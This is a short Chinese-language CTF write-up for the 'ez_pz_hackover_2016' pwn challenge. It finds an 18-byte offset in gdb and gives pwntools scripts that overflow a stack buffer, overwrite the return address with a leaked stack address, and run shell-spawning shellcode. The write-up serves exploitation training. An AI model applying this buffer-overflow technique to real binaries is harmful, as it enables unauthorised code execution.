首先检查一下保护,发现没有开启NX保护,说明可以往栈上写shellcode
首先要确定距离ebp的偏移,还有shellcode的地址(将ret覆盖到shellcode的地址上)
确定离ebp偏移的代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b *0x08048600')#断点打在nop上,按c后查看stack
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload=b'crashme\x00'+b'aaaa'
io.sendline(payload)
ebp为 38(十进制偏移)0xff86d386(地址十六进制),我们所输入的是crashme,找到cra的位置( c(0x63 )r(0x72) a(0x61)),这里cr跑到上面去了(0020那里)是因为对齐
小端序,故实际上是0x86,0xff,0x63(c),0x72(r),所以我们输入点在0022处
所以偏移为0038-0022=18(0x12)
确定shellcode地址的代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b*0x08048600')
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload='crashme\x00'+'a'*18
payload+=p32(0)+asm(shellcraft.sh())
io.sendline(payload)
最后
exp
from pwn import *
#io=remote('node5.buuoj.cn',28702)
io=process('./ez_pz_hackover_2016')
context.log_level='debug'
io.recvuntil('crash: ')#crash后面要有个空格
s_addr=int(io.recv(10),16)
print(hex(s_addr))
gdb.attach(io,'b *0x8048600')
shellcode=asm(shellcraft.sh())
payload=b'crashme\x00'+b'a'*18+p32(s_addr-0x1c)+shellcode
io.sendline(payload)
io.interactive()